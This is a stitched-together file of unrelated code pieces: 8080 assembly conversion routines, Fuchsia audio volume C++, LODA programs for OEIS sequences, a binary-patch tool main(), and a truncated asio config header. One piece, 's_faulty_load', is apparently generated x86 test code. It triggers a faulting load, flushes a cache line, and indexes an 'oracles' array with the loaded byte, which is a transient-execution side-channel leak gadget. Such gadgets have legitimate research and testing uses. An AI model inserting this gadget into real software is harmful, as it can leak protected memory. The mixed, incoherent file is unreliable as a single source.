;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;HEXCONV - converte numero hexa para a base de saida
;Recebe numero no par DE e base de saida em C
;Retorna resultado como numero de 6 digitos em D, E e A
;Utiliza todos os regs
;Chama a sub-rotina DIV
HEXCONV:
MVI B,00H ; CONTADOR DE DIGITOS DO RESULTADO
MORE: CALL DIV ; QUOCIENTE EM DE E RESTO EM L
PUSH H ; L CONTEM DIGITO DO RESULTADO
INR B ; CONTA DIGITOS
MOV A,D
CPI 00H ; SE D <> 0, TEM MAIS
JNZ MORE
MOV A,E
CPI 00H ; SE D == 0 MAS E <> 0, TEM MAIS
JNZ MORE
MVI A,00H ; TRIPLA DEA CONTEM 0 PARA COMECAR
GETDIG: MVI H,04H ; RESGATE DOS DIGITOS DA PILHA
ROTATE: ORA A ; ZERA CARRY FLAG
RAL ; BIT MAIS SIGNIFICATIVO DE A EM CY
MOV L,A
MOV A,E ; ROTACIONA DIGITOS DA TRIPLA DEA
RAL ; BIT MAIS SIGNIFICATIVO DE A EM E
MOV E,A
MOV A,D
RAL ; BIT MAIS SIGNIFICATIVO DE E EM D
MOV D,A
MOV A,L
DCR H
JNZ ROTATE
POP H ; L CONTEM DIGITO PARA A TRIPLA DEA
ORA L ; INTRODUZ DIGITO RESGATADO DA PILHA
DCR B ; TEM MAIS DIGITOS?
JNZ GETDIG
RET ; NUMERO CONVERTIDO EM DEA
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;DIV - sub-rotina para divisao
;Recebe dividendo em DE e divisor em C
;Retorna quociente em DE e resto em L
;Utiliza regs A, C, D, E, H e L
DIV: LXI H,0000H
MOV A,E
TEST1: CMP C
JC TEST2
BACK: SUB C
INX H
JMP TEST1
TEST2: MOV E,A
MOV A,D
CPI 00H
JZ DONE
DCR D
MOV A,E
JMP BACK
DONE: XCHG
RET
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;LENUM10 - le numero decimal de dois digitos
;Retorna valor hexa do numero lido no acumulador
;Utiliza os regs A, B, H e L
;Chama LETECLA
LENUM10:
CALL LETECLA
RLC
MOV B,A
RLC
RLC
ADD B
MOV B,A
CALL LETECLA
ADD B
RET
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;LENUM16 - le um numero hexadecimal de dois digitos
;Retorna valor do numero lido no acumulador
;Utiliza os regs A, B, H e L
;Chama LETECLA
LENUM16:
CALL LETECLA
RLC
RLC
RLC
RLC
MOV B,A
CALL LETECLA
ADD B
RET
END
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x1858e, %rdx
nop
nop
nop
cmp %r12, %r12
mov $0x6162636465666768, %rsi
movq %rsi, %xmm0
movups %xmm0, (%rdx)
nop
nop
nop
nop
add %rsi, %rsi
lea addresses_WC_ht+0xaa75, %rsi
sub %rdx, %rdx
mov $0x6162636465666768, %r12
movq %r12, (%rsi)
cmp %rax, %rax
lea addresses_WC_ht+0x1090e, %r11
nop
nop
nop
nop
nop
sub $8153, %rbp
movl $0x61626364, (%r11)
nop
nop
and $8044, %r11
lea addresses_WC_ht+0x1ec0e, %rsi
lea addresses_A_ht+0x99ee, %rdi
nop
nop
add %r11, %r11
mov $42, %rcx
rep movsw
nop
nop
nop
nop
and %rbp, %rbp
lea addresses_WT_ht+0x11e0e, %rdi
nop
cmp %rbp, %rbp
mov $0x6162636465666768, %rsi
movq %rsi, %xmm6
movups %xmm6, (%rdi)
nop
nop
nop
add $2225, %r11
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r15
push %rbp
push %rcx
push %rdi
// Load
lea addresses_PSE+0x28ae, %rcx
nop
sub $10413, %rbp
mov (%rcx), %r15
// Exception!!!
nop
nop
nop
nop
mov (0), %r10
nop
nop
cmp %rdi, %rdi
// Faulty Load
lea addresses_WT+0x1e0e, %r10
clflush (%r10)
nop
nop
nop
sub %rcx, %rcx
movaps (%r10), %xmm6
vpextrq $1, %xmm6, %rdi
lea oracles, %rbp
and $0xff, %rdi
shlq $12, %rdi
mov (%rbp,%rdi,1), %rdi
pop %rdi
pop %rcx
pop %rbp
pop %r15
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
{'src': {'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 2, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 7, 'same': True, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 1, 'same': True, 'type': 'addresses_A_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'00': 10212, '48': 11617}
00 00 00 00 00 00 48 48 00 00 00 00 48 48 48 48 48 48 00 00 00 48 00 48 48 48 00 00 48 00 48 00 48 48 00 48 00 48 48 00 48 48 00 00 48 48 00 00 00 48 00 48 00 48 48 48 48 48 48 48 48 00 48 48 00 48 48 48 00 48 00 00 48 00 00 00 48 00 48 00 48 00 00 48 48 00 00 48 48 00 48 48 48 48 00 00 00 00 48 48 00 48 00 00 00 48 48 48 00 48 48 00 00 48 48 48 48 48 00 00 48 48 00 00 48 48 48 00 00 00 48 48 00 48 48 00 48 48 00 00 00 00 48 48 00 00 48 00 48 48 48 48 48 48 00 48 48 00 00 00 48 48 00 00 00 48 48 48 00 48 48 00 48 00 48 48 00 00 00 48 48 48 00 48 00 48 00 48 00 00 48 48 00 00 00 48 00 00 48 00 48 48 00 48 00 48 48 48 48 48 00 48 48 00 48 00 00 48 48 00 48 00 00 48 48 48 00 00 00 00 00 48 00 48 00 48 00 00 00 48 00 00 00 48 00 48 00 48 48 48 00 48 48 00 48 48 00 00 00 48 48 48 00 48 48 48 00 00 00 48 00 00 48 48 48 00 00 48 48 48 48 48 48 48 00 00 48 48 48 48 48 48 00 48 00 48 00 48 48 48 48 00 48 48 48 00 48 48 48 00 00 48 48 00 00 48 48 00 48 00 48 00 00 48 00 48 48 00 48 48 48 48 00 00 48 48 00 48 48 00 00 00 48 00 48 48 48 00 48 48 00 48 00 00 48 00 48 00 00 48 48 00 00 00 00 00 48 48 00 48 00 00 48 48 00 00 48 48 48 48 00 00 48 48 00 00 48 00 00 00 48 00 48 48 00 00 48 00 00 48 48 48 00 48 00 48 48 00 00 00 48 00 48 48 00 48 00 00 00 00 48 48 48 48 48 48 48 48 48 00 00 00 48 48 48 48 00 48 00 48 00 48 48 48 00 00 48 00 48 48 48 48 48 48 48 48 00 00 48 48 48 48 00 48 00 48 48 00 00 48 00 00 48 48 48 48 48 48 48 00 48 48 00 48 00 00 48 00 00 00 48 48 48 00 48 48 00 48 48 00 48 48 00 48 00 48 48 00 00 00 48 48 48 48 48 00 48 00 00 48 00 48 00 00 48 48 48 00 48 48 00 00 48 48 48 48 00 48 00 48 00 00 48 48 00 00 48 48 00 00 48 48 00 00 00 00 48 48 00 48 00 00 00 00 00 00 00 48 00 00 48 48 00 48 00 48 48 00 48 48 00 00 48 48 48 48 48 00 48 48 48 00 48 00 00 48 48 48 00 48 48 48 48 00 00 48 48 00 00 48 00 00 48 48 48 48 48 48 00 48 48 00 48 00 00 48 00 00 48 48 00 00 00 48 00 48 00 00 00 48 00 48 48 00 00 48 48 48 48 00 00 00 48 48 00 00 00 48 48 00 48 48 48 00 00 48 48 00 48 48 48 48 00 00 48 00 48 00 00 00 00 00 48 48 00 00 00 00 48 00 48 00 00 48 48 48 48 00 00 48 48 00 00 00 48 48 48 48 00 48 00 00 48 48 00 00 48 00 48 48 00 00 48 00 48 00 48 00 48 48 48 48 48 48 48 48 48 00 48 48 48 00 48 48 48 00 00 00 48 48 00 48 00 48 48 48 48 48 00 00 00 00 48 48 00 48 00 48 48 00 48 00 00 48 00 00 00 48 48 00 00 48 00 48 00 48 00 00 48 00 48 48 48 48 48 00 48 00 48 48 00 48 00 00 00 00 00 48 48 48 00 00 48 48 48 00 48 00 00 00 00 48 48 48 00 48 48 48 00 48 48 00 00 48 00 00 48 00 48 48 48 00 48 00 48 48 48 00 48 00 48 48 48 48 48 48 48 48 48 48 00 00 00 48 00 48 00 48 48 48 48 48 48 00 48 48 48 00 00 00 00 48 00 00 00 00 48 48 00 48 48 48 00 00 48 00 00 48 00 48 48 00 48 00 48 00 00 48 00 48 48 48 00 48 00 00 48 00 00 48 00 48 00 00 48 00 00 48 00 48 00 48 48 48 48 48 00 48 00 48 48 00 48 00 48 48 48 00 00 00 00 00 00 48 00 48 48 48 48 48 00 00 00 48 00 48 48 00 00 48 48 48 00 00 00 48 00 48 00 00 00 48 48 48 00 48 00 00 48 48 00 48 00 48 00 48 00 48 00 48
*/
|
// Copyright 2019 The Fuchsia Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "src/media/audio/audio_core/stream_volume_manager.h"
#include <lib/syslog/cpp/macros.h>
#include "src/media/audio/audio_core/stream_usage.h"
namespace media::audio {
namespace {
const auto kRendererVolumeRamp = Ramp{
.duration = zx::msec(5),
.ramp_type = fuchsia::media::audio::RampType::SCALE_LINEAR,
};
std::string ToString(const fuchsia::media::Usage& usage) {
return StreamUsageFromFidlUsage(usage).ToString();
}
} // namespace
StreamVolumeManager::VolumeSettingImpl::VolumeSettingImpl(fuchsia::media::Usage usage,
StreamVolumeManager* owner)
: usage_(std::move(usage)), owner_(owner) {}
void StreamVolumeManager::VolumeSettingImpl::SetVolume(float volume) {
owner_->SetUsageVolume(fidl::Clone(usage_), volume);
}
StreamVolumeManager::StreamVolumeManager(async_dispatcher_t* fidl_dispatcher, const RenderUsageVolumes& initial_volumes)
: render_usage_volume_setting_impls_{
VolumeSettingImpl(fuchsia::media::Usage::WithRenderUsage(fuchsia::media::AudioRenderUsage::BACKGROUND), this),
VolumeSettingImpl(fuchsia::media::Usage::WithRenderUsage(fuchsia::media::AudioRenderUsage::MEDIA), this),
VolumeSettingImpl(fuchsia::media::Usage::WithRenderUsage(fuchsia::media::AudioRenderUsage::INTERRUPTION), this),
VolumeSettingImpl(fuchsia::media::Usage::WithRenderUsage(fuchsia::media::AudioRenderUsage::SYSTEM_AGENT), this),
VolumeSettingImpl(fuchsia::media::Usage::WithRenderUsage(fuchsia::media::AudioRenderUsage::COMMUNICATION), this),
},
capture_usage_volume_setting_impls_{
VolumeSettingImpl(fuchsia::media::Usage::WithCaptureUsage(fuchsia::media::AudioCaptureUsage::BACKGROUND), this),
VolumeSettingImpl(fuchsia::media::Usage::WithCaptureUsage(fuchsia::media::AudioCaptureUsage::FOREGROUND), this),
VolumeSettingImpl(fuchsia::media::Usage::WithCaptureUsage(fuchsia::media::AudioCaptureUsage::SYSTEM_AGENT), this),
VolumeSettingImpl(fuchsia::media::Usage::WithCaptureUsage(fuchsia::media::AudioCaptureUsage::COMMUNICATION), this),
},
render_usage_volume_controls_{
VolumeControl(&render_usage_volume_setting_impls_[fidl::ToUnderlying(fuchsia::media::AudioRenderUsage::BACKGROUND)], fidl_dispatcher),
VolumeControl(&render_usage_volume_setting_impls_[fidl::ToUnderlying(fuchsia::media::AudioRenderUsage::MEDIA)], fidl_dispatcher),
VolumeControl(&render_usage_volume_setting_impls_[fidl::ToUnderlying(fuchsia::media::AudioRenderUsage::INTERRUPTION)], fidl_dispatcher),
VolumeControl(&render_usage_volume_setting_impls_[fidl::ToUnderlying(fuchsia::media::AudioRenderUsage::SYSTEM_AGENT)], fidl_dispatcher),
VolumeControl(&render_usage_volume_setting_impls_[fidl::ToUnderlying(fuchsia::media::AudioRenderUsage::COMMUNICATION)], fidl_dispatcher)
},
capture_usage_volume_controls_{
VolumeControl(&capture_usage_volume_setting_impls_[fidl::ToUnderlying(fuchsia::media::AudioCaptureUsage::BACKGROUND)], fidl_dispatcher),
VolumeControl(&capture_usage_volume_setting_impls_[fidl::ToUnderlying(fuchsia::media::AudioCaptureUsage::FOREGROUND)], fidl_dispatcher),
VolumeControl(&capture_usage_volume_setting_impls_[fidl::ToUnderlying(fuchsia::media::AudioCaptureUsage::SYSTEM_AGENT)], fidl_dispatcher),
VolumeControl(&capture_usage_volume_setting_impls_[fidl::ToUnderlying(fuchsia::media::AudioCaptureUsage::COMMUNICATION)], fidl_dispatcher),
} {
FX_DCHECK(fidl_dispatcher);
static_assert(fidl::ToUnderlying(fuchsia::media::AudioRenderUsage::BACKGROUND) == 0);
static_assert(fidl::ToUnderlying(fuchsia::media::AudioRenderUsage::MEDIA) == 1);
static_assert(fidl::ToUnderlying(fuchsia::media::AudioRenderUsage::INTERRUPTION) == 2);
static_assert(fidl::ToUnderlying(fuchsia::media::AudioRenderUsage::SYSTEM_AGENT) == 3);
static_assert(fidl::ToUnderlying(fuchsia::media::AudioRenderUsage::COMMUNICATION) == 4);
static_assert(fidl::ToUnderlying(fuchsia::media::AudioCaptureUsage::BACKGROUND) == 0);
static_assert(fidl::ToUnderlying(fuchsia::media::AudioCaptureUsage::FOREGROUND) == 1);
static_assert(fidl::ToUnderlying(fuchsia::media::AudioCaptureUsage::SYSTEM_AGENT) == 2);
static_assert(fidl::ToUnderlying(fuchsia::media::AudioCaptureUsage::COMMUNICATION) == 3);
// Persist default render usage volumes.
for (auto it = initial_volumes.begin(); it != initial_volumes.end(); ++it) {
auto usage = it->first;
render_usage_volume_setting_impls_[fidl::ToUnderlying(usage)].SetVolume(
initial_volumes.at(usage));
}
}
const UsageGainSettings& StreamVolumeManager::GetUsageGainSettings() const {
return usage_gain_settings_;
}
void StreamVolumeManager::SetUsageGain(fuchsia::media::Usage usage, float gain_db) {
if (gain_db != usage_gain_settings_.GetUnadjustedUsageGain(usage)) {
FX_LOGS(INFO) << "SetUsageGain(" << StreamUsageFromFidlUsage(usage).ToString() << ", "
<< gain_db << "db)";
usage_gain_settings_.SetUsageGain(fidl::Clone(usage), gain_db);
UpdateStreamsWithUsage(std::move(usage));
}
}
void StreamVolumeManager::SetUsageGainAdjustment(fuchsia::media::Usage usage, float gain_db) {
float gain_adjustment = usage_gain_settings_.GetUsageGainAdjustment(usage);
if (gain_db != gain_adjustment) {
usage_gain_settings_.SetUsageGainAdjustment(fidl::Clone(usage), gain_db);
UpdateStreamsWithUsage(std::move(usage));
}
}
void StreamVolumeManager::BindUsageVolumeClient(
fuchsia::media::Usage usage,
fidl::InterfaceRequest<fuchsia::media::audio::VolumeControl> request) {
if (usage.is_render_usage()) {
render_usage_volume_controls_[fidl::ToUnderlying(usage.render_usage())].AddBinding(
std::move(request), StreamUsageFromFidlUsage(usage).ToString());
} else {
capture_usage_volume_controls_[fidl::ToUnderlying(usage.capture_usage())].AddBinding(
std::move(request), StreamUsageFromFidlUsage(usage).ToString());
}
}
void StreamVolumeManager::NotifyStreamChanged(StreamVolume* stream_volume) {
UpdateStream(stream_volume, std::nullopt);
}
void StreamVolumeManager::NotifyStreamChanged(StreamVolume* stream_volume, Ramp ramp) {
UpdateStream(stream_volume, ramp);
}
void StreamVolumeManager::AddStream(StreamVolume* stream_volume) {
stream_volumes_.insert(stream_volume);
UpdateStream(stream_volume, std::nullopt);
}
void StreamVolumeManager::RemoveStream(StreamVolume* stream_volume) {
stream_volumes_.erase(stream_volume);
}
void StreamVolumeManager::SetUsageVolume(fuchsia::media::Usage usage, float volume) {
if (volume != usage_volume_settings_.GetUsageVolume(std::move(usage))) {
FX_LOGS(INFO) << ToString(usage) << " volume=" << volume;
usage_volume_settings_.SetUsageVolume(fidl::Clone(usage), volume);
UpdateStreamsWithUsage(std::move(usage));
}
}
void StreamVolumeManager::UpdateStreamsWithUsage(fuchsia::media::Usage usage) {
for (auto& stream : stream_volumes_) {
if (fidl::Equals(stream->GetStreamUsage(), usage)) {
if (usage.is_render_usage()) {
UpdateStream(stream, kRendererVolumeRamp);
} else {
// Because destination gain ramping is not implemented, capturer volume ramping is
// unsupported.
UpdateStream(stream, std::nullopt);
}
}
}
}
void StreamVolumeManager::UpdateStream(StreamVolume* stream, std::optional<Ramp> ramp) {
const auto usage = stream->GetStreamUsage();
const auto respects_policy_adjustments = stream->RespectsPolicyAdjustments();
const auto usage_gain = respects_policy_adjustments
? usage_gain_settings_.GetAdjustedUsageGain(fidl::Clone(usage))
: usage_gain_settings_.GetUnadjustedUsageGain(fidl::Clone(usage));
const auto usage_volume = usage_volume_settings_.GetUsageVolume(std::move(usage));
stream->RealizeVolume(VolumeCommand{usage_volume, usage_gain, ramp});
}
} // namespace media::audio
|
; A084516: The length of each successively larger, indecomposable 3-ball ground-state site swap given in A084511, i.e., the number of digits in each term of A084512.
; 1,2,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6
mul $0,2
mov $1,1
mov $2,1
lpb $0
sub $0,$2
trn $0,1
add $1,1
mul $2,2
sub $2,$1
add $2,3
mul $2,2
lpe
mov $0,$1
|
/*-
* Copyright 2003-2005 Colin Percival
* Copyright 2012 Matthew Endsley
* Copyright 2016 Jakub Nyckowski
* All rights reserved
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted providing that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
* IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#include "anpatch.hpp"
#include <iostream>
int main(int argc, char* argv[]) {
try {
/// @todo Add more intelligent algorithm for parsing cmd arguments
if (argc != 4) {
std::cerr << "Usage: " << argv[0] << " oldfile newfile patchfile"
<< std::endl;
exit(1);
}
file_array old_file(argv[1]);
anpatch_reader patch_file(argv[3], andiff_magic);
std::string new_file = argv[2];
anpatcher<uint8_t> patcher(std::move(old_file), std::move(patch_file),
new_file, 5 * 1024);
patcher.run();
} catch (std::exception& e) {
std::cerr << "Something went wrong: " << e.what() << std::endl;
return 2;
}
return 0;
}
|
; A128138: A000012 * A128132.
; Submitted by Jamie Morken(s4)
; 1,0,2,0,1,3,0,1,2,4,0,1,2,3,5,0,1,2,3,4,6,0,1,2,3,4,5,7,0,1,2,3,4,5,6,8,0,1,2,3,4,5,6,7,9,0,1,2,3,4,5,6,7,8,10,0,1,2,3,4,5,6,7,8,9,11,0,1,2,3,4,5,6,7,8,9,10,12,0,1,2,3
lpb $0
add $1,1
sub $0,$1
lpe
sub $1,$0
add $1,1
cmp $1,1
add $1,$0
mov $0,$1
|
//
// detail/config.hpp
// ~~~~~~~~~~~~~~~~~
//
// Copyright (c) 2003-2016 Christopher M. Kohlhoff (chris at kohlhoff dot com)
//
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
//
#ifndef NET_TS_DETAIL_CONFIG_HPP
#define NET_TS_DETAIL_CONFIG_HPP
#define NET_TS_STANDALONE 1
#if defined(NET_TS_STANDALONE)
# define NET_TS_DISABLE_BOOST_ARRAY 1
# define NET_TS_DISABLE_BOOST_ASSERT 1
# define NET_TS_DISABLE_BOOST_BIND 1
# define NET_TS_DISABLE_BOOST_CHRONO 1
# define NET_TS_DISABLE_BOOST_DATE_TIME 1
# define NET_TS_DISABLE_BOOST_LIMITS 1
# define NET_TS_DISABLE_BOOST_REGEX 1
# define NET_TS_DISABLE_BOOST_STATIC_CONSTANT 1
# define NET_TS_DISABLE_BOOST_THROW_EXCEPTION 1
# define NET_TS_DISABLE_BOOST_WORKAROUND 1
#else // defined(NET_TS_STANDALONE)
# include <boost/config.hpp>
# include <boost/version.hpp>
# define NET_TS_HAS_BOOST_CONFIG 1
#endif // defined(NET_TS_STANDALONE)
// Default to a header-only implementation. The user must specifically request
// separate compilation by defining either NET_TS_SEPARATE_COMPILATION or
// NET_TS_DYN_LINK (as a DLL/shared library implies separate compilation).
#if !defined(NET_TS_HEADER_ONLY)
# if !defined(NET_TS_SEPARATE_COMPILATION)
# if !defined(NET_TS_DYN_LINK)
# define NET_TS_HEADER_ONLY 1
# endif // !defined(NET_TS_DYN_LINK)
# endif // !defined(NET_TS_SEPARATE_COMPILATION)
#endif // !defined(NET_TS_HEADER_ONLY)
#if defined(NET_TS_HEADER_ONLY)
# define NET_TS_DECL inline
#else // defined(NET_TS_HEADER_ONLY)
# if defined(_MSC_VER) || defined(__BORLANDC__) || defined(__CODEGEARC__)
// We need to import/export our code only if the user has specifically asked
// for it by defining NET_TS_DYN_LINK.
# if defined(NET_TS_DYN_LINK)
// Export if this is our own source, otherwise import.
# if defined(NET_TS_SOURCE)
# define NET_TS_DECL __declspec(dllexport)
# else // defined(NET_TS_SOURCE)
# define NET_TS_DECL __declspec(dllimport)
# endif // defined(NET_TS_SOURCE)
# endif // defined(NET_TS_DYN_LINK)
# endif // defined(_MSC_VER) || defined(__BORLANDC__) || defined(__CODEGEARC__)
#endif // defined(NET_TS_HEADER_ONLY)
// If NET_TS_DECL isn't defined yet define it now.
#if !defined(NET_TS_DECL)
# define NET_TS_DECL
#endif // !defined(NET_TS_DECL)
// Microsoft Visual C++ detection.
#if !defined(NET_TS_MSVC)
# if defined(NET_TS_HAS_BOOST_CONFIG) && defined(BOOST_MSVC)
# define NET_TS_MSVC BOOST_MSVC
# elif defined(_MSC_VER) && (defined(__INTELLISENSE__) \
|| (!defined(__MWERKS__) && !defined(__EDG_VERSION__)))
# define NET_TS_MSVC _MSC_VER
# endif // defined(NET_TS_HAS_BOOST_CONFIG) && defined(BOOST_MSVC)
#endif // defined(NET_TS_MSVC)
// Clang / libc++ detection.
#if defined(__clang__)
# if (__cplusplus >= 201103)
# if __has_include(<__config>)
# include <__config>
# if defined(_LIBCPP_VERSION)
# define NET_TS_HAS_CLANG_LIBCXX 1
# endif // defined(_LIBCPP_VERSION)
# endif // __has_include(<__config>)
# endif // (__cplusplus >= 201103)
#endif // defined(__clang__)
// Support move construction and assignment on compilers known to allow it.
#if !defined(NET_TS_HAS_MOVE)
# if !defined(NET_TS_DISABLE_MOVE)
# if defined(__clang__)
# if __has_feature(__cxx_rvalue_references__)
# define NET_TS_HAS_MOVE 1
# endif // __has_feature(__cxx_rvalue_references__)
# endif // defined(__clang__)
# if defined(__GNUC__)
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 5)) || (__GNUC__ > 4)
# if defined(__GXX_EXPERIMENTAL_CXX0X__)
# define NET_TS_HAS_MOVE 1
# endif // defined(__GXX_EXPERIMENTAL_CXX0X__)
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 5)) || (__GNUC__ > 4)
# endif // defined(__GNUC__)
# if defined(NET_TS_MSVC)
# if (_MSC_VER >= 1700)
# define NET_TS_HAS_MOVE 1
# endif // (_MSC_VER >= 1700)
# endif // defined(NET_TS_MSVC)
# endif // !defined(NET_TS_DISABLE_MOVE)
#endif // !defined(NET_TS_HAS_MOVE)
// If NET_TS_MOVE_CAST isn't defined, and move support is available, define
// NET_TS_MOVE_ARG and NET_TS_MOVE_CAST to take advantage of rvalue
// references and perfect forwarding.
#if defined(NET_TS_HAS_MOVE) && !defined(NET_TS_MOVE_CAST)
# define NET_TS_MOVE_ARG(type) type&&
# define NET_TS_MOVE_ARG2(type1, type2) type1, type2&&
# define NET_TS_MOVE_CAST(type) static_cast<type&&>
# define NET_TS_MOVE_CAST2(type1, type2) static_cast<type1, type2&&>
#endif // defined(NET_TS_HAS_MOVE) && !defined(NET_TS_MOVE_CAST)
// If NET_TS_MOVE_CAST still isn't defined, default to a C++03-compatible
// implementation. Note that older g++ and MSVC versions don't like it when you
// pass a non-member function through a const reference, so for most compilers
// we'll play it safe and stick with the old approach of passing the handler by
// value.
#if !defined(NET_TS_MOVE_CAST)
# if defined(__GNUC__)
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 1)) || (__GNUC__ > 4)
# define NET_TS_MOVE_ARG(type) const type&
# else // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 1)) || (__GNUC__ > 4)
# define NET_TS_MOVE_ARG(type) type
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 1)) || (__GNUC__ > 4)
# elif defined(NET_TS_MSVC)
# if (_MSC_VER >= 1400)
# define NET_TS_MOVE_ARG(type) const type&
# else // (_MSC_VER >= 1400)
# define NET_TS_MOVE_ARG(type) type
# endif // (_MSC_VER >= 1400)
# else
# define NET_TS_MOVE_ARG(type) type
# endif
# define NET_TS_MOVE_CAST(type) static_cast<const type&>
# define NET_TS_MOVE_CAST2(type1, type2) static_cast<const type1, type2&>
#endif // !defined(NET_TS_MOVE_CAST)
// Support variadic templates on compilers known to allow it.
#if !defined(NET_TS_HAS_VARIADIC_TEMPLATES)
# if !defined(NET_TS_DISABLE_VARIADIC_TEMPLATES)
# if defined(__clang__)
# if __has_feature(__cxx_variadic_templates__)
# define NET_TS_HAS_VARIADIC_TEMPLATES 1
# endif // __has_feature(__cxx_variadic_templates__)
# endif // defined(__clang__)
# if defined(__GNUC__)
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 4)
# if defined(__GXX_EXPERIMENTAL_CXX0X__)
# define NET_TS_HAS_VARIADIC_TEMPLATES 1
# endif // defined(__GXX_EXPERIMENTAL_CXX0X__)
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 4)
# endif // defined(__GNUC__)
# endif // !defined(NET_TS_DISABLE_VARIADIC_TEMPLATES)
#endif // !defined(NET_TS_HAS_VARIADIC_TEMPLATES)
// Support deleted functions on compilers known to allow it.
#if !defined(NET_TS_DELETED)
# if defined(__GNUC__)
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 7)) || (__GNUC__ > 4)
# if defined(__GXX_EXPERIMENTAL_CXX0X__)
# define NET_TS_DELETED = delete
# endif // defined(__GXX_EXPERIMENTAL_CXX0X__)
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 7)) || (__GNUC__ > 4)
# endif // defined(__GNUC__)
# if defined(__clang__)
# if __has_feature(__cxx_deleted_functions__)
# define NET_TS_DELETED = delete
# endif // __has_feature(__cxx_deleted_functions__)
# endif // defined(__clang__)
# if !defined(NET_TS_DELETED)
# define NET_TS_DELETED
# endif // !defined(NET_TS_DELETED)
#endif // !defined(NET_TS_DELETED)
// Support constexpr on compilers known to allow it.
#if !defined(NET_TS_HAS_CONSTEXPR)
# if !defined(NET_TS_DISABLE_CONSTEXPR)
# if defined(__clang__)
# if __has_feature(__cxx_constexpr__)
# define NET_TS_HAS_CONSTEXPR 1
# endif // __has_feature(__cxx_constexr__)
# endif // defined(__clang__)
# if defined(__GNUC__)
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 6)) || (__GNUC__ > 4)
# if defined(__GXX_EXPERIMENTAL_CXX0X__)
# define NET_TS_HAS_CONSTEXPR 1
# endif // defined(__GXX_EXPERIMENTAL_CXX0X__)
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 6)) || (__GNUC__ > 4)
# endif // defined(__GNUC__)
# endif // !defined(NET_TS_DISABLE_CONSTEXPR)
#endif // !defined(NET_TS_HAS_CONSTEXPR)
#if !defined(NET_TS_CONSTEXPR)
# if defined(NET_TS_HAS_CONSTEXPR)
# define NET_TS_CONSTEXPR constexpr
# else // defined(NET_TS_HAS_CONSTEXPR)
# define NET_TS_CONSTEXPR
